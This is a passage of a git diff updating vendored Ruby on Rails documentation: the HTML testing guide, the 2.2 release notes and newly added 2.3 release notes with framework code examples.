You also have access to three instance variables in your functional tests:

-
    +

    You also have access to three instance variables in your functional tests:

    +
    • @controller - The controller processing the request @@ -1233,7 +956,7 @@ http://www.gnu.org/software/src-highlite -->

    4.5. A Fuller Functional Test Example

    -

    Here's another example that uses flash, assert_redirected_to, and assert_difference:

    +

    Here’s another example that uses flash, assert_redirected_to, and assert_difference:

    end assert_redirected_to post_path(assigns(:post)) assert_equal 'Post was successfully created.', flash[:notice] -end -
    +end

4.6. Testing Views

-

Testing the response to your request by asserting the presence of key HTML elements and their content is a useful way to test the views of your application. The assert_select assertion allows you to do this by using a simple yet powerful syntax.

+

Testing the response to your request by asserting the presence of key HTML elements and their content is a useful way to test the views of your application. The assert_select assertion allows you to do this by using a simple yet powerful syntax.

@@ -1257,18 +979,17 @@ http://www.gnu.org/software/src-highlite --> You may find references to assert_tag in other documentation, but this is now deprecated in favor of assert_select.
-

There are two forms of assert_select:

-

assert_select(selector, [equality], [message])` ensures that the equality condition is met on the selected elements through the selector. The selector may be a CSS selector expression (String), an expression with substitution values, or an HTML::Selector object.

-

assert_select(element, selector, [equality], [message]) ensures that the equality condition is met on all the selected elements through the selector starting from the element (instance of HTML::Node) and its descendants.

-

For example, you could verify the contents on the title element in your response with:

+

There are two forms of assert_select:

+

assert_select(selector, [equality], [message])` ensures that the equality condition is met on the selected elements through the selector. The selector may be a CSS selector expression (String), an expression with substitution values, or an HTML::Selector object.

+

assert_select(element, selector, [equality], [message]) ensures that the equality condition is met on all the selected elements through the selector starting from the element (instance of HTML::Node) and its descendants.

+

For example, you could verify the contents on the title element in your response with:

-
assert_select 'title', "Welcome to Rails Testing Guide"
-
-

You can also use nested assert_select blocks. In this case the inner assert_select will run the assertion on each element selected by the outer assert_select block:

+
assert_select 'title', "Welcome to Rails Testing Guide"
+

You can also use nested assert_select blocks. In this case the inner assert_select runs the assertion on the complete collection of elements selected by the outer assert_select block:

assert_select 'ul.navigation' do
   assert_select 'li.menu_item'
+end
+

Alternatively the collection of elements selected by the outer assert_select may be iterated through so that assert_select may be called separately for each element. Suppose for example that the response contains two ordered lists, each with four list elements then the following tests will both pass.

+
+
+
assert_select "ol" do |elements|
+  elements.each do |element|
+    assert_select element, "li", 4
+  end
 end
-
-

The assert_select assertion is quite powerful. For more advanced usage, refer to its documentation.

+ +assert_select "ol" do + assert_select "li", 8 +end +

The assert_select assertion is quite powerful. For more advanced usage, refer to its documentation.

4.6.1. Additional View-based Assertions

-

There are more assertions that are primarily used in testing views:

+

There are more assertions that are primarily used in testing views:

--- - - - - +++ + + + + - - - - - - - - - - - - - - - - + + + + + + + + + + + + + + + +
- Assertion - - Purpose -
Assertion Purpose
- assert_select_email - - Allows you to make assertions on the body of an e-mail. -
- assert_select_rjs - - Allows you to make assertions on RJS response. assert_select_rjs has variants which allow you to narrow down on the updated element or even a particular operation on an element. -
- assert_select_encoded - - Allows you to make assertions on encoded HTML. It does this by un-encoding the contents of each element and then calling the block with all the un-encoded elements. -
- css_select(selector) or css_select(element, selector) - - Returns an array of all the elements selected by the selector. In the second variant it first matches the base element and tries to match the selector expression on any of its children. If there are no matches both variants return an empty array. -

assert_select_email

Allows you to make assertions on the body of an e-mail.

assert_select_rjs

Allows you to make assertions on RJS response. assert_select_rjs has variants which allow you to narrow down on the updated element or even a particular operation on an element.

assert_select_encoded

Allows you to make assertions on encoded HTML. It does this by un-encoding the contents of each element and then calling the block with all the un-encoded elements.

css_select(selector) or css_select(element, selector)

Returns an array of all the elements selected by the selector. In the second variant it first matches the base element and tries to match the selector expression on any of its children. If there are no matches both variants return an empty array.

-

Here's an example of using assert_select_email:

+

Here’s an example of using assert_select_email:

assert_select_email do
   assert_select 'small', 'Please click the "Unsubscribe" link if you want to opt-out.'
-end
-
+end

5. Integration Testing

-

Integration tests are used to test the interaction among any number of controllers. They are generally used to test important work flows within your application.

-

Unlike Unit and Functional tests, integration tests have to be explicitly created under the test/integration folder within your application. Rails provides a generator to create an integration test skeleton for you.

+

Integration tests are used to test the interaction among any number of controllers. They are generally used to test important work flows within your application.

+

Unlike Unit and Functional tests, integration tests have to be explicitly created under the test/integration folder within your application. Rails provides a generator to create an integration test skeleton for you.

$ script/generate integration_test user_flows
       exists  test/integration/
-      create  test/integration/user_flows_test.rb
-
-

Here's what a freshly-generated integration test looks like:

+ create test/integration/user_flows_test.rb
+

Here’s what a freshly-generated integration test looks like:

def test_truth assert true end -end -
-

Integration tests inherit from ActionController::IntegrationTest. This makes available some additional helpers to use in your integration tests. Also you need to explicitly include the fixtures to be made available to the test.

+end +

Integration tests inherit from ActionController::IntegrationTest. This makes available some additional helpers to use in your integration tests. Also you need to explicitly include the fixtures to be made available to the test.

5.1. Helpers Available for Integration tests

-

In addition to the standard testing helpers, there are some additional helpers available to integration tests:

+

In addition to the standard testing helpers, there are some additional helpers available to integration tests:

--- - - - - +++ + + + + - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
- Helper - - Purpose -
Helper Purpose
- https? - - Returns true if the session is mimicking a secure HTTPS request. -
- https! - - Allows you to mimic a secure HTTPS request. -
- host! - - Allows you to set the host name to use in the next request. -
- redirect? - - Returns true if the last request was a redirect. -
- follow_redirect! - - Follows a single redirect response. -
- request_via_redirect(http_method, path, [parameters], [headers]) - - Allows you to make an HTTP request and follow any subsequent redirects. -
- post_via_redirect(path, [parameters], [headers]) - - Allows you to make an HTTP POST request and follow any subsequent redirects. -
- get_via_redirect(path, [parameters], [headers]) - - Allows you to make an HTTP GET request and follow any subsequent redirects. -
- put_via_redirect(path, [parameters], [headers]) - - Allows you to make an HTTP PUT request and follow any subsequent redirects. -
- delete_via_redirect(path, [parameters], [headers]) - - Allows you to make an HTTP DELETE request and follow any subsequent redirects. -
- open_session - - Opens a new session instance. -

https?

Returns true if the session is mimicking a secure HTTPS request.

https!

Allows you to mimic a secure HTTPS request.

host!

Allows you to set the host name to use in the next request.

redirect?

Returns true if the last request was a redirect.

follow_redirect!

Follows a single redirect response.

request_via_redirect(http_method, path, [parameters], [headers])

Allows you to make an HTTP request and follow any subsequent redirects.

post_via_redirect(path, [parameters], [headers])

Allows you to make an HTTP POST request and follow any subsequent redirects.

get_via_redirect(path, [parameters], [headers])

Allows you to make an HTTP GET request and follow any subsequent redirects.

put_via_redirect(path, [parameters], [headers])

Allows you to make an HTTP PUT request and follow any subsequent redirects.

delete_via_redirect(path, [parameters], [headers])

Allows you to make an HTTP DELETE request and follow any subsequent redirects.

open_session

Opens a new session instance.

5.2. Integration Testing Examples

-

A simple integration test that exercises multiple controllers:

+

A simple integration test that exercises multiple controllers:

assert_response :success assert assigns(:products) end -end -
-

As you can see the integration test involves multiple controllers and exercises the entire stack from database to dispatcher. In addition you can have multiple session instances open simultaneously in a test and extend those instances with assertion methods to create a very powerful testing DSL (domain-specific language) just for your application.

-

Here's an example of multiple sessions and custom DSL in an integration test

+end +

As you can see the integration test involves multiple controllers and exercises the entire stack from database to dispatcher. In addition you can have multiple session instances open simultaneously in a test and extend those instances with assertion methods to create a very powerful testing DSL (domain-specific language) just for your application.

+

Here’s an example of multiple sessions and custom DSL in an integration test

sess.https!(false) end end -end -
+end

6. Rake Tasks for Running your Tests

-

You don't need to set up and run your tests by hand on a test-by-test basis. Rails comes with a number of rake tasks to help in testing. The table below lists all rake tasks that come along in the default Rakefile when you initiate a Rail project.

-

--------------------------------`---------------------------------------------------- -Tasks Description

-
-
-
+rake test+                     Runs all unit, functional and integration tests. You can also simply run +rake+ as the _test_ target is the default.
-+rake test:units+               Runs all the unit tests from +test/unit+
-+rake test:functionals+         Runs all the functional tests from +test/functional+
-+rake test:integration+         Runs all the integration tests from +test/integration+
-+rake test:recent+              Tests recent changes
-+rake test:uncommitted+         Runs all the tests which are uncommitted. Only supports Subversion
-+rake test:plugins+             Run all the plugin tests from +vendor/plugins/*/**/test+ (or specify with +PLUGIN=_name_+)
-
+

You don’t need to set up and run your tests by hand on a test-by-test basis. Rails comes with a number of rake tasks to help in testing. The table below lists all rake tasks that come along in the default Rakefile when you initiate a Rail project.

+
+ +++ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Tasks Description

rake test

Runs all unit, functional and integration tests. You can also simply run rake as the test target is the default.

rake test:units

Runs all the unit tests from test/unit

rake test:functionals

Runs all the functional tests from test/functional

rake test:integration

Runs all the integration tests from test/integration

rake test:recent

Tests recent changes

rake test:uncommitted

Runs all the tests which are uncommitted. Only supports Subversion

rake test:plugins

Run all the plugin tests from vendor/plugins//*/test (or specify with PLUGIN=name)

+

7. Brief Note About Test::Unit

-

Ruby ships with a boat load of libraries. One little gem of a library is Test::Unit, a framework for unit testing in Ruby. All the basic assertions discussed above are actually defined in Test::Unit::Assertions. The class ActiveSupport::TestCase which we have been using in our unit and functional tests extends Test::Unit::TestCase that it is how we can use all the basic assertions in our tests.

+

Ruby ships with a boat load of libraries. One little gem of a library is Test::Unit, a framework for unit testing in Ruby. All the basic assertions discussed above are actually defined in Test::Unit::Assertions. The class ActiveSupport::TestCase which we have been using in our unit and functional tests extends Test::Unit::TestCase that it is how we can use all the basic assertions in our tests.

@@ -1598,7 +1295,7 @@ Tasks Description

8. Setup and Teardown

-

If you would like to run a block of code before the start of each test and another block of code after the end of each test you have two special callbacks for your rescue. Let's take note of this by looking at an example for our functional test in Posts controller:

+

If you would like to run a block of code before the start of each test and another block of code after the end of each test you have two special callbacks for your rescue. Let’s take note of this by looking at an example for our functional test in Posts controller:

assert_redirected_to posts_path end -end -
-

Above, the setup method is called before each test and so @post is available for each of the tests. Rails implements setup and teardown as ActiveSupport::Callbacks. Which essentially means you need not only use setup and teardown as methods in your tests. You could specify them by using:

-
    +end
+

Above, the setup method is called before each test and so @post is available for each of the tests. Rails implements setup and teardown as ActiveSupport::Callbacks. Which essentially means you need not only use setup and teardown as methods in your tests. You could specify them by using:

+
  • a block @@ -1659,7 +1355,7 @@ a lambda

-

Let's see the earlier example by specifying setup callback by specifying a method name as a symbol:

+

Let’s see the earlier example by specifying setup callback by specifying a method name as a symbol:

@post = posts(:one) end -end -
+end

9. Testing Routes

-

Like everything else in you Rails application, it's recommended to test you routes. An example test for a route in the default show action of Posts controller above should look like:

+

Like everything else in you Rails application, it’s recommended to test you routes. An example test for a route in the default show action of Posts controller above should look like:

def test_should_route_to_post
   assert_routing '/posts/1', { :controller => "posts", :action => "show", :id => "1" }
-end
-
+end

10. Testing Your Mailers

-

Testing mailer classes requires some specific tools to do a thorough job.

+

Testing mailer classes requires some specific tools to do a thorough job.

10.1. Keeping the Postman in Check

-

Your ActionMailer classes — like every other part of your Rails application — should be tested to ensure that it is working as expected.

-

The goals of testing your ActionMailer classes are to ensure that:

-
    +

    Your ActionMailer classes — like every other part of your Rails application — should be tested to ensure that it is working as expected.

    +

    The goals of testing your ActionMailer classes are to ensure that:

    +
    • emails are being processed (created and sent) @@ -1741,14 +1435,14 @@ the right emails are being sent at the right times

    10.1.1. From All Sides

    -

    There are two aspects of testing your mailer, the unit tests and the functional tests. In the unit tests, you run the mailer in isolation with tightly controlled inputs and compare the output to a knownvalue (a fixture — yay! more fixtures!). In the functional tests you don't so much test the minute details produced by the mailer Instead we test that our controllers and models are using the mailer in the right way. You test to prove that the right email was sent at the right time.

    +

    There are two aspects of testing your mailer, the unit tests and the functional tests. In the unit tests, you run the mailer in isolation with tightly controlled inputs and compare the output to a knownvalue (a fixture — yay! more fixtures!). In the functional tests you don’t so much test the minute details produced by the mailer Instead we test that our controllers and models are using the mailer in the right way. You test to prove that the right email was sent at the right time.

    10.2. Unit Testing

    -

    In order to test that your mailer is working as expected, you can use unit tests to compare the actual results of the mailer with pre-written examples of what should be produced.

    +

    In order to test that your mailer is working as expected, you can use unit tests to compare the actual results of the mailer with pre-written examples of what should be produced.

    10.2.1. Revenge of the Fixtures

    -

    For the purposes of unit testing a mailer, fixtures are used to provide an example of how the output should look. Because these are example emails, and not Active Record data like the other fixtures, they are kept in their own subdirectory apart from the other fixtures. The name of the directory within test/fixtures directly corresponds to the name of the mailer. So, for a mailer named UserMailer, the fixtures should reside in test/fixtures/user_mailer directory.

    -

    When you generated your mailer, the generator creates stub fixtures for each of the mailers actions. If you didn't use the generator you'll have to make those files yourself.

    +

    For the purposes of unit testing a mailer, fixtures are used to provide an example of how the output should look. Because these are example emails, and not Active Record data like the other fixtures, they are kept in their own subdirectory apart from the other fixtures. The name of the directory within test/fixtures directly corresponds to the name of the mailer. So, for a mailer named UserMailer, the fixtures should reside in test/fixtures/user_mailer directory.

    +

    When you generated your mailer, the generator creates stub fixtures for each of the mailers actions. If you didn’t use the generator you’ll have to make those files yourself.

    10.2.2. The Basic Test case

    -

    Here's a unit test to test a mailer named UserMailer whose action invite is used to send an invitation to a friend. It is an adapted version of the base test created by the generator for an invite action.

    +

    Here’s a unit test to test a mailer named UserMailer whose action invite is used to send an invitation to a friend. It is an adapted version of the base test created by the generator for an invite action.

    assert_equal @expected.encoded, UserMailer.create_invite('me@example.com', 'friend@example.com', @expected.date).encoded end -end -
    -

    In this test, @expected is an instance of TMail::Mail that you can use in your tests. It is defined in ActionMailer::TestCase. The test above uses @expected to construct an email, which it then asserts with email created by the custom mailer. The invite fixture is the body of the email and is used as the sample content to assert against. The helper read_fixture is used to read in the content from this file.

    -

    Here's the content of the invite fixture:

    +end
+

In this test, @expected is an instance of TMail::Mail that you can use in your tests. It is defined in ActionMailer::TestCase. The test above uses @expected to construct an email, which it then asserts with email created by the custom mailer. The invite fixture is the body of the email and is used as the sample content to assert against. The helper read_fixture is used to read in the content from this file.

+

Here’s the content of the invite fixture:

Hi friend@example.com,
@@ -1780,10 +1473,10 @@ You have been invited.
 
 Cheers!
-

This is the right time to understand a little more about writing tests for your mailers. The line ActionMailer::Base.delivery_method = :test in config/environments/test.rb sets the delivery method to test mode so that email will not actually be delivered (useful to avoid spamming your users while testing) but instead it will be appended to an array (ActionMailer::Base.deliveries).

-

However often in unit tests, mails will not actually be sent, simply constructed, as in the example above, where the precise content of the email is checked against what it should be.

+

This is the right time to understand a little more about writing tests for your mailers. The line ActionMailer::Base.delivery_method = :test in config/environments/test.rb sets the delivery method to test mode so that email will not actually be delivered (useful to avoid spamming your users while testing) but instead it will be appended to an array (ActionMailer::Base.deliveries).

+

However often in unit tests, mails will not actually be sent, simply constructed, as in the example above, where the precise content of the email is checked against what it should be.

10.3. Functional Testing

-

Functional testing for mailers involves more than just checking that the email body, recipients and so forth are correct. In functional mail tests you call the mail deliver methods and check that the appropriate emails have been appended to the delivery list. It is fairly safe to assume that the deliver methods themselves do their job You are probably more interested in is whether your own business logic is sending emails when you expect them to got out. For example, you can check that the invite friend operation is sending an email appropriately:

+

Functional testing for mailers involves more than just checking that the email body, recipients and so forth are correct. In functional mail tests you call the mail deliver methods and check that the appropriate emails have been appended to the delivery list. It is fairly safe to assume that the deliver methods themselves do their job You are probably more interested in is whether your own business logic is sending emails when you expect them to got out. For example, you can check that the invite friend operation is sending an email appropriately:

assert_equal invite_email.to[0], 'friend@example.com' assert_match /Hi friend@example.com/, invite_email.body end -end -
+end

11. Other Testing Approaches

-

The built-in test/unit based testing is not the only way to test Rails applications. Rails developers have come up with a wide variety of other approaches and aids for testing, including:

-
    +

    The built-in test/unit based testing is not the only way to test Rails applications. Rails developers have come up with a wide variety of other approaches and aids for testing, including:

    +
    • NullDB, a way to speed up testing by avoiding database use. @@ -1826,15 +1518,15 @@ http://www.gnu.org/software/src-highlite -->

    • -link: RSpec, a behavior-driven development framework +RSpec, a behavior-driven development framework

12. Changelog

- -
-
-
+ + diff --git a/vendor/rails/railties/doc/guides/source/2_2_release_notes.txt b/vendor/rails/railties/doc/guides/source/2_2_release_notes.txt index 2f1a7ebb..d9192848 100644 --- a/vendor/rails/railties/doc/guides/source/2_2_release_notes.txt +++ b/vendor/rails/railties/doc/guides/source/2_2_release_notes.txt @@ -265,7 +265,7 @@ map.resources :products, :except => :destroy === Other Action Controller Changes * You can now easily link:http://m.onkey.org/2008/7/20/rescue-from-dispatching[show a custom error page] for exceptions raised while routing a request. -* The HTTP Accept header is disabled by default now. You should prefer the use of formatted URLs (such as +/customers/1.xml+) to indicate the format that you want. If you need the Accept headers, you can turn them back on with +config.action_controller.user_accept_header = true+. +* The HTTP Accept header is disabled by default now. You should prefer the use of formatted URLs (such as +/customers/1.xml+) to indicate the format that you want. If you need the Accept headers, you can turn them back on with +config.action_controller.use_accept_header = true+. * Benchmarking numbers are now reported in milliseconds rather than tiny fractions of seconds * Rails now supports HTTP-only cookies (and uses them for sessions), which help mitigate some cross-site scripting risks in newer browsers. * +redirect_to+ now fully supports URI schemes (so, for example, you can redirect to a svn+ssh: URI). @@ -381,7 +381,7 @@ In Railties (the core code of Rails itself) the biggest changes are in the +conf To avoid deployment issues and make Rails applications more self-contained, it's possible to place copies of all of the gems that your Rails application requires in +/vendor/gems+. This capability first appeared in Rails 2.1, but it's much more flexible and robust in Rails 2.2, handling complicated dependencies between gems. Gem management in Rails includes these commands: * +config.gem _gem_name_+ in your +config/environment.rb+ file -* +rake gems+ to list all configured gems, as well as whether they (and their dependencies) are installed or frozen +* +rake gems+ to list all configured gems, as well as whether they (and their dependencies) are installed, frozen, or framework (framework gems are those loaded by Rails before the gem dependency code is executed; such gems cannot be frozen) * +rake gems:install+ to install missing gems to the computer * +rake gems:unpack+ to place a copy of the required gems into +/vendor/gems+ * +rake gems:unpack:dependencies+ to get copies of the required gems and their dependencies into +/vendor/gems+ @@ -394,6 +394,7 @@ You can unpack or install a single gem by specifying +GEM=_gem_name_+ on the com * More information: - link:http://ryandaigle.com/articles/2008/4/1/what-s-new-in-edge-rails-gem-dependencies[What's New in Edge Rails: Gem Dependencies] - link:http://afreshcup.com/2008/10/25/rails-212-and-22rc1-update-your-rubygems/[Rails 2.1.2 and 2.2RC1: Update Your RubyGems] + - link:http://rails.lighthouseapp.com/projects/8994-ruby-on-rails/tickets/1128[Detailed discussion on Lighthouse] === Other Railties Changes @@ -429,7 +430,8 @@ Previously the above code made available a local variable called +customer+ insi * The +%s+ and +%d+ interpolation syntax for internationalization is deprecated. * +String#chars+ has been deprecated in favor of +String#mb_chars+. * Durations of fractional months or fractional years are deprecated. Use Ruby's core +Date+ and +Time+ class arithmetic instead. +* +Request#relative_url_root+ is deprecated. Use +ActionController::Base.relative_url_root+ instead. == Credits -Release notes compiled by link:http://afreshcup.com[Mike Gunderloy] +Release notes compiled by link:http://afreshcup.com[Mike Gunderloy] \ No newline at end of file diff --git a/vendor/rails/railties/doc/guides/source/2_3_release_notes.txt b/vendor/rails/railties/doc/guides/source/2_3_release_notes.txt new file mode 100644 index 00000000..ebe62187 --- /dev/null +++ b/vendor/rails/railties/doc/guides/source/2_3_release_notes.txt @@ -0,0 +1,514 @@ +Ruby on Rails 2.3 Release Notes +=============================== + +Rails 2.3 delivers a variety of new and improved features, including pervasive Rack integration, refreshed support for Rails Engines, nested transactions for Active Record, dynamic and default scopes, unified rendering, more efficient routing, application templates, and quiet backtraces. This list covers the major upgrades, but doesn't include every little bug fix and change. If you want to see everything, check out the link:http://github.com/rails/rails/commits/master[list of commits] in the main Rails repository on GitHub or review the +CHANGELOG+ files for the individual Rails components. + +== Application Architecture + +There are two major changes in the architecture of Rails applications: complete integration of the link:http://rack.rubyforge.org/[Rack] modular web server interface, and renewed support for Rails Engines. + +=== Rack Integration + +Rails has now broken with its CGI past, and uses Rack everywhere. This required and resulted in a tremendous number of internal changes (but if you use CGI, don't worry; Rails now supports CGI through a proxy interface.) Still, this is a major change to Rails internals. After upgrading to 2.3, you should test on your local environment and your production environment. Some things to test: + +* Sessions +* Cookies +* File uploads +* JSON/XML APIs + +Here's a summary of the rack-related changes: + +* +script/server+ has been switched to use Rack, which means it supports any Rack compatible server. +script/server+ will also pick up a rackup configuration file if one exists. By default, it will look for a +config.ru+ file, but you can override this with the +-c+ switch. +* The FCGI handler goes through Rack +* +ActionController::Dispatcher+ maintains its own default middleware stack. Middlewares can be injected in, reordered, and removed. The stack is compiled into a chain on boot. You can configure the middleware stack in +environment.rb+ +* The +rake middleware+ task has been added to inspect the middleware stack. This is useful for debugging the order of the middleware stack. +* The integration test runner has been modified to execute the entire middleware and application stack. This makes integration tests perfect for testing Rack middleware. +* +ActionController::CGIHandler+ is a backwards compatible CGI wrapper around Rack. The +CGIHandler+ is meant to take an old CGI object and converts its environment information into a Rack compatible form. +* +CgiRequest+ and +CgiResponse+ have been removed +* Session stores are now lazy loaded. If you never access the session object during a request, it will never attempt to load the session data (parse the cookie, load the data from memcache, or lookup an Active Record object). +* +CGI::Session::CookieStore+ has been replaced by +ActionController::Session::CookieStore+ +* +CGI::Session::MemCacheStore+ has been replaced by +ActionController::Session::MemCacheStore+ +* +CGI::Session::ActiveRecordStore+ has been replaced by +ActiveRecord::SessionStore+ +* You can still change your session store with +ActionController::Base.session_store = :active_record_store+ +* Default sessions options are still set with +ActionController::Base.session = { :key => "..." }+ +* The mutex that normally wraps your entire request has been moved into middleware, +ActionController::Lock+ +* +ActionController::AbstractRequest+ and +ActionController::Request+ have been unified. The new +ActionController::Request+ inherits from +Rack::Request+. This affects access to +response.headers['type']+ in test requests. Use +response.content_type+ instead. +* +ActiveRecord::QueryCache+ middleware is automatically inserted onto the middleware stack if +ActiveRecord+ has been loaded. This middleware sets up and flushes the per-request Active Record query cache. +* The Rails router and controller classes follow the Rack spec. You can call a controller directly with +SomeController.call(env)+. The router stores the routing parameters in +rack.routing_args+. +* +ActionController::Request+ inherits from +Rack::Request+ +* Instead of +config.action_controller.session = { :session_key => 'foo', ...+ use +config.action_controller.session = { :key => 'foo', ...+ +* Using the +ParamsParser+ middleware preprocesses any XML, JSON, or YAML requests so they can be read normally with any +Rack::Request+ object after it. + +=== Renewed Support for Rails Engines + +After some versions without an upgrade, Rails 2.3 offers some new features for Rails Engines (Rails applications that can be embedded within other applications). First, routing files in engines are automatically loaded and reloaded now, just like your +routes.rb+ file (this also applies to routing files in other plugins). Second, if your plugin has an app folder, then app/[models|controllers|helpers] will automatically be added to the Rails load path. Engines also support adding view paths now. + +== Documentation + +The link:http://guides.rubyonrails.org/[Ruby on Rails guides] project has published several additional guides for Rails 2.3. In addition, a link:http://guides.rails.info/[separate site] maintains updated copies of the Guides for Edge Rails. Other documentation efforts include a relaunch of the link:http://newwiki.rubyonrails.org/[Rails wiki] and early planning for a Rails Book. + +* More Information: link:http://weblog.rubyonrails.org/2009/1/15/rails-documentation-projects[Rails Documentation Projects] + +== Active Record + +Active Record gets quite a number of new features and bug fixes in Rails 2.3. The highlights include nested attributes, nested transactions, dynamic scopes, and default scopes. + +=== Nested Attributes + +Active Record can now update the attributes on nested models directly, provided you tell it to do so: + +[source, ruby] +------------------------------------------------------- +class Book < ActiveRecord::Base + has_one :author + has_many :pages + + accepts_nested_attributes_for :author, :pages +end +------------------------------------------------------- + +Turning on nested attributes enables a number of things: automatic (and atomic) saving of a record together with its associated children, child-aware validations, and support for nested forms (discussed later). + +* Lead Contributor: link_to:http://www.superalloy.nl/blog/[Eloy Duran] +* More Information: link_to:http://weblog.rubyonrails.org/2009/1/26/nested-model-forms[Nested Model Forms] + +=== Nested Transactions + +Active Record now supports nested transactions, a much-requested feature. Now you can write code like this: + +[source, ruby] +------------------------------------------------------- +User.transaction do + User.create(:username => 'Admin') + User.transaction(:requires_new => true) do + User.create(:username => 'Regular') + raise ActiveRecord::Rollback + end + end + + User.find(:all) # => Returns only Admin +------------------------------------------------------- + +Nested transactions let you roll back an inner transaction without affecting the state of the outer transaction. If you want a transaction to be nested, you must explicitly add the +:requires_new+ option; otherwise, a nested transaction simply becomes part of the parent transaction (as it does currently on Rails 2.2). Under the covers, nested transactions are link:http://rails.lighthouseapp.com/projects/8994/tickets/383[using savepoints], so they're supported even on databases that don't have true nested transactions. There is also a bit of magic going on to make these transactions play well with transactional fixtures during testing. + +* Lead Contributors: link:http://www.workingwithrails.com/person/4985-jonathan-viney[Jonathan Viney] and link:http://izumi.plan99.net/blog/[Hongli Lai] + +=== Dynamic Scopes + +You know about dynamic finders in Rails (which allow you to concoct methods like +find_by_color_and_flavor+ on the fly) and named scopes (which allow you to encapsulate reusable query conditions into friendly names like +currently_active+). Well, now you can have dynamic scope methods. The idea is to put together syntax that allows filtering on the fly _and_ method chaining. For example: + +[source, ruby] +------------------------------------------------------- +Order.scoped_by_customer_id(12) +Order.scoped_by_customer_id(12).find(:all, + :conditions => "status = 'open'") +Order.scoped_by_customer_id(12).scoped_by_status("open") +------------------------------------------------------- + +There's nothing to define to use dynamic scopes: they just work. + +* Lead Contributor: link:http://evilmartians.com/[Yaroslav Markin] +* More Information: link:http://ryandaigle.com/articles/2008/12/29/what-s-new-in-edge-rails-dynamic-scope-methods[What's New in Edge Rails: Dynamic Scope Methods]. + +=== Default Scopes + +Rails 2.3 will introduce the notion of _default scopes_ similar to named scopes, but applying to all named scopes or find methods within the model. For example, you can write +default_scope :order => 'name ASC'+ and any time you retrieve records from that model they'll come out sorted by name (unless you override the option, of course). + +* Lead Contributor: Paweł Kondzior +* More Information: link:http://ryandaigle.com/articles/2008/11/18/what-s-new-in-edge-rails-default-scoping[What's New in Edge Rails: Default Scoping] + +=== Multiple Conditions for Callbacks + +When using Active Record callbacks, you can now combine +:if+ and +:unless+ options on the same callback, and supply multiple conditions as an array: + +[source, ruby] +------------------------------------------------------- +before_save :update_credit_rating, :if => :active, + :unless => [:admin, :cash_only] +------------------------------------------------------- +* Lead Contributor: L. Caviola + +=== Find with having + +Rails now has a +:having+ option on find (as well as on +has_many+ and +has_and_belongs_to_many+ associations) for filtering records in grouped finds. As those with heavy SQL backgrounds know, this allows filtering based on grouped results: + +[source, ruby] +------------------------------------------------------- +developers = Developer.find(:all, :group => "salary", + :having => "sum(salary) > 10000", :select => "salary") +------------------------------------------------------- + +* Lead Contributor: link:http://github.com/miloops[Emilio Tagua] + +=== Hash Conditions for +has_many+ relationships + +You can once again use a hash in conditions for a +has_many+ relationship: + +[source, ruby] +------------------------------------------------------- +has_many :orders, :conditions => {:status => 'confirmed'} +------------------------------------------------------- + +That worked in Rails 2.1, fails in Rails 2.2, and will now work again in Rails 2.3 (if you're dealing with this issue in Rails 2.2, you can use a string rather than a hash to specify conditions). + +* Lead Contributor: link:http://www.spacevatican.org/[Frederick Cheung] + +=== Reconnecting MySQL Connections + +MySQL supports a reconnect flag in its connections - if set to true, then the client will try reconnecting to the server before giving up in case of a lost connection. You can now set +reconnect = true+ for your MySQL connections in +database.yml+ to get this behavior from a Rails application. The default is +false+, so the behavior of existing applications doesn't change. + +* Lead Contributor: link:http://twitter.com/dubek[Dov Murik] +* More information: + - link:http://dev.mysql.com/doc/refman/5.0/en/auto-reconnect.html[Controlling Automatic Reconnection Behavior] + - link:http://groups.google.com/group/rubyonrails-core/browse_thread/thread/49d2a7e9c96cb9f4[MySQL auto-reconnect revisited] + +=== Other Active Record Changes + +* An extra +AS+ was removed from the generated SQL for has_and_belongs_to_many preloading, making it work better for some databases. +* +ActiveRecord::Base#new_record?+ now returns false rather than nil when confronted with an existing record. +* A bug in quoting table names in some +has_many :through+ associations was fixed. +* You can now specify a particular timestamp for +updated_at+ timestamps: +cust = Customer.create(:name => "ABC Industries", :updated_at => 1.day.ago)+ +* Better error messages on failed +find_by_attribute!+ calls. +* Active Record's +to_xml+ support gets just a little bit more flexible with the addition of a +:camelize+ option. +* A bug in canceling callbacks from +before_update+ or +before_create_ was fixed. +* Rake tasks for testing databases via JDBC have been added. +* +validates_length_of+ will use a custom error message with the +:in+ or +:within+ options (if one is supplied) + +== Action Controller + +Action Controller rolls out some significant changes to rendering, as well as improvements in routing and other areas, in this release. + +=== Unified Rendering + ++ActionController::Base#render+ is a lot smarter about deciding what to render. Now you can just tell it what to render and expect to get the right results. In older versions of Rails, you often need to supply explicit information to render: + +[source, ruby] +------------------------------------------------------- +render :file => '/tmp/random_file.erb' +render :template => 'other_controller/action' +render :action => 'show' +------------------------------------------------------- + +Now in Rails 2.3, you can just supply what you want to render: + +[source, ruby] +------------------------------------------------------- +render '/tmp/random_file.erb' +render 'other_controller/action' +render 'show' +render :show +------------------------------------------------------- +Rails chooses between file, template, and action depending on whether there is a leading slash, an embedded slash, or no slash at all in what's to be rendered. Note that you can also use a symbol instead of a string when rendering an action. Other rendering styles (+:inline+, +:text+, +:update+, +:nothing+, +:json+, +:xml+, +:js+) still require an explicit option. + +=== Application Controller Renamed + +If you're one of the people who has always been bothered by the special-case naming of +application.rb+, rejoice! It's been reworked to be application_controller.rb in Rails 2.3. In addition, there's a new rake task, +rake rails:update:application_controller+ to do this automatically for you - and it will be run as part of the normal +rake rails:update+ process. + +* More Information: + - link:http://afreshcup.com/2008/11/17/rails-2x-the-death-of-applicationrb/[The Death of Application.rb] + - link:http://ryandaigle.com/articles/2008/11/19/what-s-new-in-edge-rails-application-rb-duality-is-no-more[What's New in Edge Rails: Application.rb Duality is no More] + +=== HTTP Digest Authentication Support + +Rails now has built-in support for HTTP digest authentication. To use it, you call +authenticate_or_request_with_http_digest+ with a block that returns the user’s password (which is then hashed and compared against the transmitted credentials): + +[source, ruby] +------------------------------------------------------- +class PostsController < ApplicationController + Users = {"dhh" => "secret"} + before_filter :authenticate + + def secret + render :text => "Password Required!" + end + + private + def authenticate + realm = "Application" + authenticate_or_request_with_http_digest(realm) do |name| + Users[name] + end + end +end +------------------------------------------------------- + +* Lead Contributor: link:http://www.kellogg-assoc.com/[Gregg Kellogg] +* More Information: link:http://ryandaigle.com/articles/2009/1/30/what-s-new-in-edge-rails-http-digest-authentication[What's New in Edge Rails: HTTP Digest Authentication] + +=== More 